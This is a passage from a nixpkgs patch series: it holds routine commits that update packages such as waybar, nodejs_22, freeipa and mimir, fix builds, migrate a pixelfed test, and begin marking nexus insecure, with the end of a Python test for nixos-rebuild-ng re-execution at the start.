+    mock_execve.side_effect = [OSError("BOOM"), None]
+
+    s.reexec(argv, args, {}, {})
+    # exec in the previous version if the new version fails
+    mock_execve.assert_any_call(
+        Path("/path/bin/nixos-rebuild-ng"),
+        ["/path/bin/nixos-rebuild-ng", "switch", "--no-flake"],
+        {"_NIXOS_REBUILD_REEXEC": "1"},
+    )
+
+
+@patch.dict(os.environ, {}, clear=True)
+@patch("os.execve", autospec=True)
+@patch(get_qualified_name(s.nix.build_flake), autospec=True)
+def test_reexec_flake(
+    mock_build: Mock, mock_execve: Mock, monkeypatch: MonkeyPatch
+) -> None:
+    monkeypatch.setattr(s, "EXECUTABLE", "nixos-rebuild-ng")
+    argv = ["/path/bin/nixos-rebuild-ng", "switch", "--flake"]
+    args, _ = n.parse_args(argv)
+    mock_build.return_value = Path("/path")
+
+    s.reexec(argv, args, {"build": True}, {"flake": True})
+    mock_build.assert_called_once_with(
+        s.NIXOS_REBUILD_ATTR,
+        n.models.Flake(ANY, ANY),
+        {"flake": True, "no_link": True},
+    )
+    # do not exec if there is no new version
+    mock_execve.assert_not_called()
+
+    mock_build.return_value = Path("/path/new")
+
+    s.reexec(argv, args, {}, {})
+    # exec in the new version successfully
+    mock_execve.assert_called_once_with(
+        Path("/path/new/bin/nixos-rebuild-ng"),
+        ["/path/bin/nixos-rebuild-ng", "switch", "--flake"],
+        {"_NIXOS_REBUILD_REEXEC": "1"},
+    )
+
+    mock_execve.reset_mock()
+    mock_execve.side_effect = [OSError("BOOM"), None]
+
+    s.reexec(argv, args, {}, {})
+    # exec in the previous version if the new version fails
+    mock_execve.assert_any_call(
+        Path("/path/bin/nixos-rebuild-ng"),
+        ["/path/bin/nixos-rebuild-ng", "switch", "--flake"],
+        {"_NIXOS_REBUILD_REEXEC": "1"},
+    )

From a0728cf64a6013f39e537d6d56387a5dd6b46440 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Thu, 26 Jun 2025 18:31:47 +0200
Subject: [PATCH 1782/4511] nixosTests.pixelfed.standard: handleTestOn ->
 runTestOn

(cherry picked from commit 0c50bbe465a252251568577e4c0e4073ec57858a)
---
 nixos/tests/all-tests.nix                  | 2 +-
 nixos/tests/web-apps/pixelfed/default.nix  | 6 ++----
 nixos/tests/web-apps/pixelfed/standard.nix | 2 +-
 3 files changed, 4 insertions(+), 6 deletions(-)

diff --git a/nixos/tests/all-tests.nix b/nixos/tests/all-tests.nix
index 864b0d9d504a..43a882180036 100644
--- a/nixos/tests/all-tests.nix
+++ b/nixos/tests/all-tests.nix
@@ -785,7 +785,7 @@ in
   mariadb-galera = handleTest ./mysql/mariadb-galera.nix { };
   marytts = handleTest ./marytts.nix { };
   mastodon = pkgs.recurseIntoAttrs (handleTest ./web-apps/mastodon { inherit handleTestOn; });
-  pixelfed = discoverTests (import ./web-apps/pixelfed { inherit handleTestOn; });
+  pixelfed = import ./web-apps/pixelfed { inherit runTestOn; };
   mate = handleTest ./mate.nix { };
   mate-wayland = handleTest ./mate-wayland.nix { };
   matter-server = handleTest ./matter-server.nix { };
diff --git a/nixos/tests/web-apps/pixelfed/default.nix b/nixos/tests/web-apps/pixelfed/default.nix
index 0422b6cf11f4..00a786d4eb73 100644
--- a/nixos/tests/web-apps/pixelfed/default.nix
+++ b/nixos/tests/web-apps/pixelfed/default.nix
@@ -1,14 +1,12 @@
 {
-  system ? builtins.currentSystem,
-  handleTestOn,
+  runTestOn,
 }:
 let
   supportedSystems = [
     "x86_64-linux"
     "i686-linux"
   ];
-
 in
 {
-  standard = handleTestOn supportedSystems ./standard.nix { inherit system; };
+  standard = runTestOn supportedSystems ./standard.nix;
 }
diff --git a/nixos/tests/web-apps/pixelfed/standard.nix b/nixos/tests/web-apps/pixelfed/standard.nix
index 7b916649bf0d..6a3776fa8403 100644
--- a/nixos/tests/web-apps/pixelfed/standard.nix
+++ b/nixos/tests/web-apps/pixelfed/standard.nix
@@ -1,4 +1,4 @@
-import ../../make-test-python.nix {
+{
   name = "pixelfed-standard";
   meta.maintainers = [ ];
 

From 00bd5be5fe83249d7b7a64a75e5a4f8dc5c30f94 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Sun, 29 Jun 2025 07:59:24 -0400
Subject: [PATCH 1783/4511] mimir: substitute pname for strings

Mirrors c4f02ff31ef0163cf04bc0e08c6584ad7c631895.
---
 pkgs/by-name/mi/mimir/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/mi/mimir/package.nix b/pkgs/by-name/mi/mimir/package.nix
index c4b335ba16c0..354d77be9b5d 100644
--- a/pkgs/by-name/mi/mimir/package.nix
+++ b/pkgs/by-name/mi/mimir/package.nix
@@ -10,9 +10,9 @@ buildGoModule rec {
   version = "2.16.0";
 
   src = fetchFromGitHub {
-    rev = "${pname}-${version}";
+    rev = "mimir-${version}";
     owner = "grafana";
-    repo = pname;
+    repo = "mimir";
     hash = "sha256-75KHS+jIPEvcB7SHBBcBi5uycwY7XR4RNc1khNYVZFE=";
   };
 

From a6d82353aa2abb889e692cdde89c1123ffe5dae4 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 28 Jun 2025 19:02:06 +0000
Subject: [PATCH 1784/4511] mimir: 2.16.0 -> 2.16.1

(cherry picked from commit 6170f497c0d75344df257434447f3b98964275a3)
---
 pkgs/by-name/mi/mimir/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/mi/mimir/package.nix b/pkgs/by-name/mi/mimir/package.nix
index 354d77be9b5d..3ab197888b85 100644
--- a/pkgs/by-name/mi/mimir/package.nix
+++ b/pkgs/by-name/mi/mimir/package.nix
@@ -7,13 +7,13 @@
 }:
 buildGoModule rec {
   pname = "mimir";
-  version = "2.16.0";
+  version = "2.16.1";
 
   src = fetchFromGitHub {
     rev = "mimir-${version}";
     owner = "grafana";
     repo = "mimir";
-    hash = "sha256-75KHS+jIPEvcB7SHBBcBi5uycwY7XR4RNc1khNYVZFE=";
+    hash = "sha256-+GFsWBjZHxRe3a2/ZT0zkoRXDTR4qopTUcU5Fx9t5xA=";
   };
 
   vendorHash = null;

From fa5c7c9d1958cbca34d37b3defb4b4b2d478e4f4 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Sat, 28 Jun 2025 19:05:57 +0200
Subject: [PATCH 1785/4511] freeipa: 4.12.3 -> 4.12.4

Fixes CVE-2025-4404.

Changes:
https://www.freeipa.org/release-notes/4-12-4.html
(cherry picked from commit 774f09236c1682a650a9f92999565c6394dad56b)
---
 pkgs/os-specific/linux/freeipa/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/freeipa/default.nix b/pkgs/os-specific/linux/freeipa/default.nix
index e967f01fd6be..b50e3f79e488 100644
--- a/pkgs/os-specific/linux/freeipa/default.nix
+++ b/pkgs/os-specific/linux/freeipa/default.nix
@@ -67,11 +67,11 @@ let
 in
 stdenv.mkDerivation rec {
   pname = "freeipa";
-  version = "4.12.3";
+  version = "4.12.4";
 
   src = fetchurl {
     url = "https://releases.pagure.org/freeipa/freeipa-${version}.tar.gz";
-    sha256 = "sha256-bVttsyn99DX01CmthIxzxuJPGgqZB2+pgamviO4LBJI=";
+    hash = "sha256-Nn3dHoaAt6+MZ0gMFCJniXginq4guNM8HjChren9adY=";
   };
 
   patches = [

From ae69f2635e559848321503c5057c9a207891f38e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 29 Jun 2025 00:39:05 +0000
Subject: [PATCH 1786/4511] steamguard-cli: 0.17.0 -> 0.17.1

(cherry picked from commit d60ac7eb5ea5f3ab0ac6dab7db7f0d256e87d29e)
---
 pkgs/by-name/st/steamguard-cli/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/st/steamguard-cli/package.nix b/pkgs/by-name/st/steamguard-cli/package.nix
index 2147b331caf7..07853dfb4108 100644
--- a/pkgs/by-name/st/steamguard-cli/package.nix
+++ b/pkgs/by-name/st/steamguard-cli/package.nix
@@ -8,17 +8,17 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "steamguard-cli";
-  version = "0.17.0";
+  version = "0.17.1";
 
   src = fetchFromGitHub {
     owner = "dyc3";
     repo = "steamguard-cli";
     rev = "v${version}";
-    hash = "sha256-o4hJ8+FsFLKJwifLP3pGbn35SOsTTnQosO4IejitUeI=";
+    hash = "sha256-IoWLPpFPQC1QU1EgJSiiAQqMcDQnHa5WRLiya3WN+6w=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-OBftq8bPqmc77oeOStAeXZN5DHfASdOJCrmgDTgHFWc=";
+  cargoHash = "sha256-7csGZp5dAz0j7pTxeex/yrgzNFU7Qz3zNcZ/K4dV7GE=";
 
   nativeBuildInputs = [ installShellFiles ];
   postInstall = lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''

From 657ac4185f1c158bf2c38ed3cb4669f628c43a6e Mon Sep 17 00:00:00 2001
From: sternenseemann <sternenseemann@systemli.org>
Date: Mon, 23 Jun 2025 11:51:19 +0200
Subject: [PATCH 1787/4511] haskellPackages.tree-diff: disable flaky test /
 failing on edge case

There hasn't been movement on this in many years since the package seems
to be in maintenance mode only, but it is a prominently used dependency,
so we'll have to ignore this, pretty much.

Reference https://github.com/haskellari/tree-diff/issues/79.
Reference https://github.com/NixOS/nixpkgs/pull/384127#issuecomment-2995073608.

(cherry picked from commit 50b75325305279d26777f6c7790cf9b64c2993d9)
---
 .../development/haskell-modules/configuration-common.nix | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/pkgs/development/haskell-modules/configuration-common.nix b/pkgs/development/haskell-modules/configuration-common.nix
index c0ed77609a5e..3ad4b8f28ca7 100644
--- a/pkgs/development/haskell-modules/configuration-common.nix
+++ b/pkgs/development/haskell-modules/configuration-common.nix
@@ -2839,6 +2839,15 @@ self: super:
   # The hackage source is somehow missing a file present in the repo (tests/ListStat.hs).
   sym = dontCheck super.sym;
 
+  # 2024-01-24: https://github.com/haskellari/tree-diff/issues/79
+  # exprParser fails to parse pretty printed structure correctly when the randomizer uses newlines (?)
+  tree-diff = overrideCabal (drv: {
+    testFlags = drv.testFlags or [ ] ++ [
+      "-p"
+      "!/parsec-ansi-wl-pprint/"
+    ];
+  }) super.tree-diff;
+
   # base <4.19
   # https://github.com/well-typed/large-records/issues/168
   large-generics = doJailbreak super.large-generics;

From 13c98399ab4c600c3da0111ae5c52ff53101d163 Mon Sep 17 00:00:00 2001
From: Antoine du Hamel <duhamelantoine1995@gmail.com>
Date: Wed, 25 Jun 2025 02:19:14 +0200
Subject: [PATCH 1788/4511] nodejs_22: 22.16.0 -> 22.17.0

(cherry picked from commit 8f7bfa2f6b9a46b4bca4cce4ae52673ed1c263dd)
---
 pkgs/development/web/nodejs/v22.nix | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/web/nodejs/v22.nix b/pkgs/development/web/nodejs/v22.nix
index 5a23b348221f..6110bbed9e63 100644
--- a/pkgs/development/web/nodejs/v22.nix
+++ b/pkgs/development/web/nodejs/v22.nix
@@ -21,8 +21,8 @@ let
 in
 buildNodejs {
   inherit enableNpm;
-  version = "22.16.0";
-  sha256 = "720894f323e5c1ac24968eb2676660c90730d715cb7f090be71a668662a17c37";
+  version = "22.17.0";
+  sha256 = "7a3ef2aedb905ea7926e5209157266e2376a5db619d9ac0cba3c967f6f5db4f9";
   patches =
     (
       if (stdenv.hostPlatform.emulatorAvailable buildPackages) then
@@ -57,11 +57,11 @@ buildNodejs {
       ./use-correct-env-in-tests.patch
       ./bin-sh-node-run-v22.patch
 
-      # Can be removed after https://github.com/NixOS/nixpkgs/pull/403958.
+      # Fix for flaky test
+      # TODO: remove when included in a release
       (fetchpatch2 {
-        url = "https://github.com/nodejs/node/commit/9aa57bf8dab2dbfb8b6974fe71d5dbe6daf66244.patch?full_index=1";
-        hash = "sha256-k3h8mPgvaIYGAkGmaL+ix7kUnyLw4/PF7wXMAWrPMXo=";
-        revert = true;
+        url = "https://github.com/nodejs/node/commit/cd685fe3b6b18d2a1433f2635470513896faebe6.patch?full_index=1";
+        hash = "sha256-KA7WBFnLXCKx+QVDGxFixsbj3Y7uJkAKEUTeLShI1Xo=";
       })
     ];
 }

From 464a98713283f9489df3140ca36896b447518198 Mon Sep 17 00:00:00 2001
From: mofrim <mofrim@posteo.de>
Date: Tue, 17 Jun 2025 22:39:13 +0200
Subject: [PATCH 1789/4511] libcava: 0.10.3 -> 0.10.4

(cherry picked from commit 67b2d8e434fd474c42c0c1b716a816d2956d3143)
Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
---
 pkgs/by-name/li/libcava/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/libcava/package.nix b/pkgs/by-name/li/libcava/package.nix
index 4bb2d772936c..cd0516a98fe4 100644
--- a/pkgs/by-name/li/libcava/package.nix
+++ b/pkgs/by-name/li/libcava/package.nix
@@ -8,13 +8,13 @@
 cava.overrideAttrs (old: rec {
   pname = "libcava";
   # fork may not be updated when we update upstream
-  version = "0.10.3";
+  version = "0.10.4";
 
   src = fetchFromGitHub {
     owner = "LukashonakV";
     repo = "cava";
     tag = version;
-    hash = "sha256-ZDFbI69ECsUTjbhlw2kHRufZbQMu+FQSMmncCJ5pagg=";
+    hash = "sha256-9eTDqM+O1tA/3bEfd1apm8LbEcR9CVgELTIspSVPMKM=";
   };
 
   nativeBuildInputs = old.nativeBuildInputs ++ [

From 15086414e9192cd33c9d5ea43937878ffdd1d4b8 Mon Sep 17 00:00:00 2001
From: mofrim <mofrim@posteo.de>
Date: Tue, 17 Jun 2025 22:40:05 +0200
Subject: [PATCH 1790/4511] waybar: 0.12.0 -> 0.12.0-unstable-2025-06-13

bumping version to recent git master because it
includes important fixes for waybar's usability.

(cherry picked from commit cead77df2557634c834691272bb19a0c3930e939)
Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
---
 pkgs/by-name/wa/waybar/package.nix | 15 ++++++++++-----
 1 file changed, 10 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/wa/waybar/package.nix b/pkgs/by-name/wa/waybar/package.nix
index d2b27b317029..c0f0c71c4067 100644
--- a/pkgs/by-name/wa/waybar/package.nix
+++ b/pkgs/by-name/wa/waybar/package.nix
@@ -75,18 +75,21 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "waybar";
-  version = "0.12.0";
+  version = "0.12.0-unstable-2025-06-13";
 
   src = fetchFromGitHub {
     owner = "Alexays";
     repo = "Waybar";
-    tag = finalAttrs.version;
-    hash = "sha256-VpT3ePqmo75Ni6/02KFGV6ltnpiV70/ovG/p1f2wKkU=";
+    # TODO: switch back to using tag when a new version is released which
+    # includes the fixes for issues like
+    # https://github.com/Alexays/Waybar/issues/3956
+    rev = "2c482a29173ffcc03c3e4859808eaef6c9014a1f";
+    hash = "sha256-29g4SN3Yr4q7zxYS3dU48i634jVsXHBwUUeALPAHZGM=";
   };
 
   postUnpack = lib.optional cavaSupport ''
     pushd "$sourceRoot"
-    cp -R --no-preserve=mode,ownership ${libcava.src} subprojects/cava-0.10.3
+    cp -R --no-preserve=mode,ownership ${libcava.src} subprojects/cava-0.10.4
     patchShebangs .
     popd
   '';
@@ -194,7 +197,9 @@ stdenv.mkDerivation (finalAttrs: {
     versionCheckHook
   ];
   versionCheckProgramArg = "--version";
-  doInstallCheck = true;
+
+  # TODO: re-enable after bump to next release.
+  doInstallCheck = false;
 
   passthru = {
     updateScript = nix-update-script { };

From 01a20b614858b9645b78aabfff5249c416f49ac7 Mon Sep 17 00:00:00 2001
From: Paul Meyer <katexochen0@gmail.com>
Date: Wed, 4 Jun 2025 11:00:30 +0200
Subject: [PATCH 1791/4511] waybar: remove dependency on hyperland/sway

Both inputs aren't used anywhere in the output. I used diffoscope to check and the only difference before after this patch is the outpath.

Requirement on sway was removed in 2020 afaict:
https://github.com/Alexays/Waybar/commit/732ce7a27cbeb47fb3566768789c14d3123bb06c

Signed-off-by: Paul Meyer <katexochen0@gmail.com>
(cherry picked from commit d2dbbefc3f6ebedc9d21d421458c46fce6863542)
---
 pkgs/by-name/wa/waybar/package.nix | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/pkgs/by-name/wa/waybar/package.nix b/pkgs/by-name/wa/waybar/package.nix
index c0f0c71c4067..8d7a91c8623f 100644
--- a/pkgs/by-name/wa/waybar/package.nix
+++ b/pkgs/by-name/wa/waybar/package.nix
@@ -12,7 +12,6 @@
   gtk-layer-shell,
   gtkmm3,
   howard-hinnant-date,
-  hyprland,
   iniparser,
   jsoncpp,
   libcava,
@@ -38,7 +37,6 @@
   sndio,
   spdlog,
   systemdMinimal,
-  sway,
   udev,
   upower,
   versionCheckHook,
@@ -51,7 +49,6 @@
   enableManpages ? stdenv.buildPlatform.canExecute stdenv.hostPlatform,
   evdevSupport ? true,
   experimentalPatches ? true,
-  hyprlandSupport ? true,
   inputSupport ? true,
   jackSupport ? true,
   mpdSupport ? true,
@@ -64,7 +61,6 @@
   runTests ? stdenv.buildPlatform.canExecute stdenv.hostPlatform,
   sndioSupport ? true,
   systemdSupport ? lib.meta.availableOn stdenv.hostPlatform systemdMinimal,
-  swaySupport ? true,
   traySupport ? true,
   udevSupport ? true,
   upowerSupport ? true,
@@ -131,7 +127,6 @@ stdenv.mkDerivation (finalAttrs: {
       portaudio
     ]
     ++ lib.optional evdevSupport libevdev
-    ++ lib.optional hyprlandSupport hyprland
     ++ lib.optional inputSupport libinput
     ++ lib.optional jackSupport libjack2
     ++ lib.optional mpdSupport libmpdclient
@@ -139,7 +134,6 @@ stdenv.mkDerivation (finalAttrs: {
     ++ lib.optional nlSupport libnl
     ++ lib.optional pulseSupport libpulseaudio
     ++ lib.optional sndioSupport sndio
-    ++ lib.optional swaySupport sway
     ++ lib.optional systemdSupport systemdMinimal
     ++ lib.optional traySupport libdbusmenu-gtk3
     ++ lib.optional udevSupport udev

From db77d424a2e75fc5703846175f96082ed4179ffd Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Mon, 23 Jun 2025 09:13:04 +0200
Subject: [PATCH 1792/4511] waybar: 0.12.0-unstable-2025-06-13 -> 0.13.0

Diff: https://github.com/Alexays/Waybar/compare/2c482a29173ffcc03c3e4859808eaef6c9014a1f...2c482a29173ffcc03c3e4859808eaef6c9014a1f

Changelog: https://github.com/alexays/waybar/releases/tag/0.13.0
(cherry picked from commit de22d88acafc95e7d586b9c998485d51c4a8937f)
Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
---
 pkgs/by-name/wa/waybar/package.nix | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/pkgs/by-name/wa/waybar/package.nix b/pkgs/by-name/wa/waybar/package.nix
index 8d7a91c8623f..3d9112626bc6 100644
--- a/pkgs/by-name/wa/waybar/package.nix
+++ b/pkgs/by-name/wa/waybar/package.nix
@@ -9,6 +9,7 @@
   fftw,
   glib,
   gobject-introspection,
+  gpsd,
   gtk-layer-shell,
   gtkmm3,
   howard-hinnant-date,
@@ -49,6 +50,7 @@
   enableManpages ? stdenv.buildPlatform.canExecute stdenv.hostPlatform,
   evdevSupport ? true,
   experimentalPatches ? true,
+  gpsSupport ? true,
   inputSupport ? true,
   jackSupport ? true,
   mpdSupport ? true,
@@ -71,16 +73,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "waybar";
-  version = "0.12.0-unstable-2025-06-13";
+  version = "0.13.0";
 
   src = fetchFromGitHub {
     owner = "Alexays";
     repo = "Waybar";
-    # TODO: switch back to using tag when a new version is released which
-    # includes the fixes for issues like
-    # https://github.com/Alexays/Waybar/issues/3956
-    rev = "2c482a29173ffcc03c3e4859808eaef6c9014a1f";
-    hash = "sha256-29g4SN3Yr4q7zxYS3dU48i634jVsXHBwUUeALPAHZGM=";
+    tag = finalAttrs.version;
+    hash = "sha256-KfWjYDqJf2jNmYAnmV7EQHweMObEBreUc2G7/LpvvC0=";
   };
 
   postUnpack = lib.optional cavaSupport ''
@@ -127,6 +126,7 @@ stdenv.mkDerivation (finalAttrs: {
       portaudio
     ]
     ++ lib.optional evdevSupport libevdev
+    ++ lib.optional gpsSupport gpsd
     ++ lib.optional inputSupport libinput
     ++ lib.optional jackSupport libjack2
     ++ lib.optional mpdSupport libmpdclient
@@ -149,6 +149,7 @@ stdenv.mkDerivation (finalAttrs: {
     (lib.mapAttrsToList lib.mesonEnable {
       "cava" = cavaSupport && lib.asserts.assertMsg sndioSupport "Sndio support is required for Cava";
       "dbusmenu-gtk" = traySupport;
+      "gps" = gpsSupport;
       "jack" = jackSupport;
       "libevdev" = evdevSupport;
       "libinput" = inputSupport;
@@ -192,8 +193,7 @@ stdenv.mkDerivation (finalAttrs: {
   ];
   versionCheckProgramArg = "--version";
 
-  # TODO: re-enable after bump to next release.
-  doInstallCheck = false;
+  doInstallCheck = true;
 
   passthru = {
     updateScript = nix-update-script { };

From 23a6db934d80a8eb344e507e9d8e9255b1ea5b0d Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Sun, 22 Jun 2025 18:58:31 -0400
Subject: [PATCH 1793/4511] hdf5-blosc: 1.0.0 -> 1.0.1

Changelog: https://github.com/Blosc/hdf5-blosc/releases/tag/v1.0.1

Fixes gcc14 build. I needed to update the patch for it to apply cleanly though.

(cherry picked from commit 219158d36caa1e2fed83d944eead56e9534fd7f2)
---
 pkgs/by-name/hd/hdf5-blosc/no-external-blosc.patch | 13 ++++++++-----
 pkgs/by-name/hd/hdf5-blosc/package.nix             |  5 +++--
 2 files changed, 11 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/hd/hdf5-blosc/no-external-blosc.patch b/pkgs/by-name/hd/hdf5-blosc/no-external-blosc.patch
index 8f2bd8579ed8..c0b7df147b24 100644
--- a/pkgs/by-name/hd/hdf5-blosc/no-external-blosc.patch
+++ b/pkgs/by-name/hd/hdf5-blosc/no-external-blosc.patch
@@ -1,12 +1,15 @@
---- a/CMakeLists.txt      2019-10-11 12:12:27.445417039 -0400
-+++ b/CMakeLists.txt      2019-10-11 12:27:26.630691742 -0400
-@@ -22,14 +22,6 @@
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index 9ec0f23..35953d3 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -24,15 +24,6 @@ message("BLOSC_INSTALL_DIR='${BLOSC_INSTALL_DIR}'")
  message("BLOSC_CMAKE_ARGS='${BLOSC_CMAKE_ARGS}'")
  message("GIT_EXECUTABLE='${GIT_EXECUTABLE}'")
 
 -ExternalProject_Add(project_blosc
 -  PREFIX ${BLOSC_PREFIX}
 -  GIT_REPOSITORY https://github.com/Blosc/c-blosc.git
+-  GIT_TAG main
 -  INSTALL_DIR ${BLOSC_INSTALL_DIR}
 -  CMAKE_ARGS ${BLOSC_CMAKE_ARGS}
 -)
@@ -15,10 +18,10 @@
  # sources
  set(SOURCES src/blosc_filter.c)
  set(PLUGIN_SOURCES src/blosc_filter.c src/blosc_plugin.c )
-@@ -53,7 +45,6 @@
+@@ -56,7 +47,6 @@ include_directories(${HDF5_INCLUDE_DIRS})
  # add blosc libraries
  add_library(blosc_shared SHARED IMPORTED)
- set_property(TARGET blosc_shared PROPERTY IMPORTED_LOCATION ${BLOSC_INSTALL_DIR}/lib/${CMAKE_SHARED_LIBRARY_PREFIX}blosc${CMAKE_SHARED_LIBRARY_SUFFIX})
+ set_property(TARGET blosc_shared PROPERTY IMPORTED_LOCATION ${BLOSC_INSTALL_DIR}/${CMAKE_INSTALL_LIBDIR}/${CMAKE_SHARED_LIBRARY_PREFIX}blosc${CMAKE_SHARED_LIBRARY_SUFFIX})
 -add_dependencies(blosc_shared project_blosc)
  include_directories(${BLOSC_INSTALL_DIR}/include)
 
diff --git a/pkgs/by-name/hd/hdf5-blosc/package.nix b/pkgs/by-name/hd/hdf5-blosc/package.nix
index 1a0eaea6c2f6..3df9bcdd11c0 100644
--- a/pkgs/by-name/hd/hdf5-blosc/package.nix
+++ b/pkgs/by-name/hd/hdf5-blosc/package.nix
@@ -9,13 +9,13 @@
 
 stdenv.mkDerivation rec {
   pname = "hdf5-blosc";
-  version = "1.0.0";
+  version = "1.0.1";
 
   src = fetchFromGitHub {
     owner = "Blosc";
     repo = "hdf5-blosc";
     rev = "v${version}";
-    sha256 = "1nj2bm1v6ymm3fmyvhbn6ih5fgdiapavlfghh1pvbmhw71cysyqs";
+    sha256 = "sha256-pM438hUEdzdZEGYxoKlBAHi1G27auj9uGSeiXwVPAE8=";
   };
 
   patches = [ ./no-external-blosc.patch ];
@@ -38,6 +38,7 @@ stdenv.mkDerivation rec {
 
   cmakeFlags = [
     "-DPLUGIN_INSTALL_PATH=${placeholder "plugin"}/hdf5/lib/plugin"
+    "-DCMAKE_INSTALL_LIBDIR=lib"
   ];
 
   postInstall = ''

From 90538348ef29199b360c259569deef19f4cddd09 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Sun, 22 Jun 2025 18:59:40 -0400
Subject: [PATCH 1794/4511] hdf5-blosc: add passthru.updateScript, cleanup, add
 test

(cherry picked from commit 519c9061deb8acf08fc3f46c976e6d136c89cbaa)
---
 pkgs/by-name/hd/hdf5-blosc/package.nix | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/hd/hdf5-blosc/package.nix b/pkgs/by-name/hd/hdf5-blosc/package.nix
index 3df9bcdd11c0..d0eb807a72a3 100644
--- a/pkgs/by-name/hd/hdf5-blosc/package.nix
+++ b/pkgs/by-name/hd/hdf5-blosc/package.nix
@@ -5,6 +5,7 @@
   cmake,
   hdf5,
   fetchFromGitHub,
+  nix-update-script,
 }:
 
 stdenv.mkDerivation rec {
@@ -33,12 +34,13 @@ stdenv.mkDerivation rec {
   ];
 
   preConfigure = ''
-    substituteInPlace CMakeLists.txt --replace 'set(BLOSC_INSTALL_DIR "''${CMAKE_CURRENT_BINARY_DIR}/blosc")' 'set(BLOSC_INSTALL_DIR "${c-blosc}")'
+    substituteInPlace CMakeLists.txt --replace-fail 'set(BLOSC_INSTALL_DIR "''${CMAKE_CURRENT_BINARY_DIR}/blosc")' 'set(BLOSC_INSTALL_DIR "${c-blosc}")'
   '';
 
   cmakeFlags = [
     "-DPLUGIN_INSTALL_PATH=${placeholder "plugin"}/hdf5/lib/plugin"
     "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DBUILD_TESTS=ON"
   ];
 
   postInstall = ''
@@ -46,6 +48,10 @@ stdenv.mkDerivation rec {
     substituteAll ${./blosc_filter.pc.in} $out/lib/pkgconfig/blosc_filter.pc
   '';
 
+  doCheck = true;
+
+  passthru.updateScript = nix-update-script { };
+
   meta = with lib; {
     description = "Filter for HDF5 that uses the Blosc compressor";
     homepage = "https://github.com/Blosc/hdf5-blosc";

From 2639e8f1c4cf9d8a3d6a6b970679dd701efa56b2 Mon Sep 17 00:00:00 2001
From: Adrien Cosson <ad.cosson@gmail.com>
Date: Fri, 27 Jun 2025 06:28:58 +0200
Subject: [PATCH 1795/4511] git-stack: add zlib to build input to fix darwin
 build (#419580)

* git-stack: add zlib to build input to fix darwin build

The version 0.10.18 of the package, introduced in 25.05, broke the build
for `darwin` systems, due to a missing dependency on `zlib.h`.

Inspired by https://github.com/NixOS/nixpkgs/pull/366745

* Take review into account

(cherry picked from commit 64adabab6c724b654be6ae61c5cb152231fb2928)
---
 pkgs/by-name/gi/git-stack/package.nix | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/gi/git-stack/package.nix b/pkgs/by-name/gi/git-stack/package.nix
index f5e23de6893a..74208f43cdf7 100644
--- a/pkgs/by-name/gi/git-stack/package.nix
+++ b/pkgs/by-name/gi/git-stack/package.nix
@@ -4,8 +4,9 @@
   rustPlatform,
   testers,
   git-stack,
+  stdenv,
+  zlib,
 }:
-
 rustPlatform.buildRustPackage rec {
   pname = "git-stack";
   version = "0.10.18";
@@ -20,6 +21,12 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = "sha256-338iRd6zoy2O55sZ0h+s6i8kg4yXFBowRQLge9R9Bqs=";
 
+  buildInputs =
+    [ ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [
+      zlib
+    ];
+
   # Many tests try to access the file system.
   doCheck = false;
 

From a6fff82bcd87c6e5fcecebd6bf51981549aeaf94 Mon Sep 17 00:00:00 2001
From: Lukas Mertens <git@lukas-mertens.de>
Date: Thu, 19 Jun 2025 16:17:34 +0200
Subject: [PATCH 1796/4511] nexus: mark as insecure and remove maintainers

(cherry picked from commit 922fd0ed08486530075e4a0af55dbac6811315a0)
---
 pkgs/by-name/ne/nexus/package.nix | 14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/ne/nexus/package.nix b/pkgs/by-name/ne/nexus/package.nix
index 401511fedd68..23d3aa7c9a0a 100644
--- a/pkgs/by-name/ne/nexus/package.nix
+++ b/pkgs/by-name/ne/nexus/package.nix
@@ -60,11 +60,15 @@ stdenv.mkDerivation rec {
     sourceProvenance = with lib.sourceTypes; [ binaryBytecode ];
     license = lib.licenses.epl10;
     platforms = lib.platforms.all;
-    maintainers = with lib.maintainers; [
